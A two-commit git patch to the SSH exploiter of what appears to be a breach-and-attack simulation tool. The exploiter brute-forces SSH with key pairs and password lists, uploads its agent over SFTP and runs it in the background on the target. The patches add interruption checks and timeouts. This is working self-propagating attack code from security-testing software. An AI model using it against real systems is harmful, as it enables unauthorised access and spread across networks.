From 9765f64174734bf37e0717322d71b196533395b3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Mar 2022 15:22:52 +0100 Subject: [PATCH 1/2] Agent: Make SSH interruptable --- monkey/infection_monkey/exploit/sshexec.py | 46 +++++++++++++++++----- 1 file changed, 36 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index dadbfbff1..d39e910bc 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -1,6 +1,5 @@ import io import logging -import time import paramiko @@ -14,6 +13,8 @@ from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.telemetry.attack.t1222_telem import T1222Telem from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline +from infection_monkey.utils.threading import interruptable_iter +from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) SSH_PORT = 22 @@ -26,13 +27,14 @@ class SSHExploiter(HostExploiter): def __init__(self): super(SSHExploiter, self).__init__() - self._update_timestamp = 0 def log_transfer(self, transferred, total): - # TODO: Replace with infection_monkey.utils.timer.Timer - if time.time() - self._update_timestamp > TRANSFER_UPDATE_RATE: + timer = Timer() + timer.set(TRANSFER_UPDATE_RATE) + + if timer.is_expired(): logger.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total) - self._update_timestamp = time.time() + timer.reset() def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient: user_ssh_key_pairs = generate_identity_secret_pairs( @@ -40,7 +42,14 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_ssh_keys"], ) - for user, ssh_key_pair in user_ssh_key_pairs: + ssh_key_pairs_iterator = interruptable_iter( + user_ssh_key_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, ssh_key_pair in ssh_key_pairs_iterator: # Creating file-like private key for paramiko pkey = io.StringIO(ssh_key_pair["private_key"]) ssh_string = "%s@%s" % (ssh_key_pair["user"], ssh_key_pair["ip"]) @@ -56,6 +65,8 @@ class SSHExploiter(HostExploiter): logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) + self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, ssh_key=ssh_string) return ssh except Exception: @@ -73,7 +84,14 @@ class SSHExploiter(HostExploiter): secrets=self.options["credentials"]["exploit_password_list"], ) - for user, current_password in user_password_pairs: + credentials_iterator = interruptable_iter( + user_password_pairs, + self.interrupt, + "SSH exploiter has been interrupted", + logging.INFO, + ) + + for user, current_password in credentials_iterator: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -82,6 +100,7 @@ class SSHExploiter(HostExploiter): logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) + self.exploit_result.exploitation_success = True self.report_login_attempt(True, user, current_password) return ssh @@ -114,16 +133,18 @@ class SSHExploiter(HostExploiter): try: ssh = self.exploit_with_ssh_keys(port) - self.exploit_result.exploitation_success = True except FailedExploitationError: try: ssh = self.exploit_with_login_creds(port) - self.exploit_result.exploitation_success = True except FailedExploitationError: self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." logger.error(self.exploit_result.error_message) return self.exploit_result + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + if not self.host.os.get("type"): try: _, stdout, _ = ssh.exec_command("uname -o") @@ -154,9 +175,14 @@ class SSHExploiter(HostExploiter): logger.error(self.exploit_result.error_message) return self.exploit_result + if self._is_interrupted(): + self._set_interrupted() + return self.exploit_result + try: + # open_sftp can block up to an hour if a machine is killed + # after a connection with ssh.open_sftp() as ftp: - self._update_timestamp = time.time() ftp.putfo( agent_binary_file_object, self.options["dropper_target_path_linux"], From e3e038bf40fcc9b38134934658ba706a83718f51 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 17 Mar 2022 16:50:26 +0100 Subject: [PATCH 2/2] Agent: Add timeouts to SSH exploit --- monkey/infection_monkey/exploit/sshexec.py | 30 +++++++++++++++++++--- 1 file changed, 26 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index d39e910bc..0410b95d8 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -3,6 +3,7 @@ import logging import paramiko +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from common.utils.attack_utils import ScanStatus from common.utils.exceptions import FailedExploitationError from infection_monkey.exploit.HostExploiter import HostExploiter @@ -18,6 +19,11 @@ from infection_monkey.utils.timer import Timer logger = logging.getLogger(__name__) SSH_PORT = 22 +SSH_CONNECT_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_AUTH_TIMEOUT = LONG_REQUEST_TIMEOUT +SSH_BANNER_TIMEOUT = MEDIUM_REQUEST_TIMEOUT +SSH_EXEC_TIMEOUT = LONG_REQUEST_TIMEOUT + TRANSFER_UPDATE_RATE = 15 @@ -61,7 +67,15 @@ class SSHExploiter(HostExploiter): except (IOError, paramiko.SSHException, paramiko.PasswordRequiredException): logger.error("Failed reading ssh key") try: - ssh.connect(self.host.ip_addr, username=user, pkey=pkey, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + pkey=pkey, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + ) logger.debug( "Successfully logged in %s using %s users private key", self.host, ssh_string ) @@ -96,7 +110,15 @@ class SSHExploiter(HostExploiter): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) try: - ssh.connect(self.host.ip_addr, username=user, password=current_password, port=port) + ssh.connect( + self.host.ip_addr, + username=user, + password=current_password, + port=port, + timeout=SSH_CONNECT_TIMEOUT, + auth_timeout=SSH_AUTH_TIMEOUT, + banner_timeout=SSH_BANNER_TIMEOUT, + ) logger.debug("Successfully logged in %r using SSH. User: %s", self.host, user) self.add_vuln_port(port) @@ -147,7 +169,7 @@ class SSHExploiter(HostExploiter): if not self.host.os.get("type"): try: - _, stdout, _ = ssh.exec_command("uname -o") + _, stdout, _ = ssh.exec_command("uname -o", timeout=SSH_EXEC_TIMEOUT) uname_os = stdout.read().lower().strip().decode() if "linux" in uname_os: self.exploit_result.os = "linux" @@ -214,7 +236,7 @@ class SSHExploiter(HostExploiter): cmdline = "%s %s" % (self.options["dropper_target_path_linux"], MONKEY_ARG) cmdline += build_monkey_commandline(self.host, self.current_depth - 1) cmdline += " > /dev/null 2>&1 &" - ssh.exec_command(cmdline) + ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) logger.info( "Executed monkey '%s' on remote victim %r (cmdline=%r)",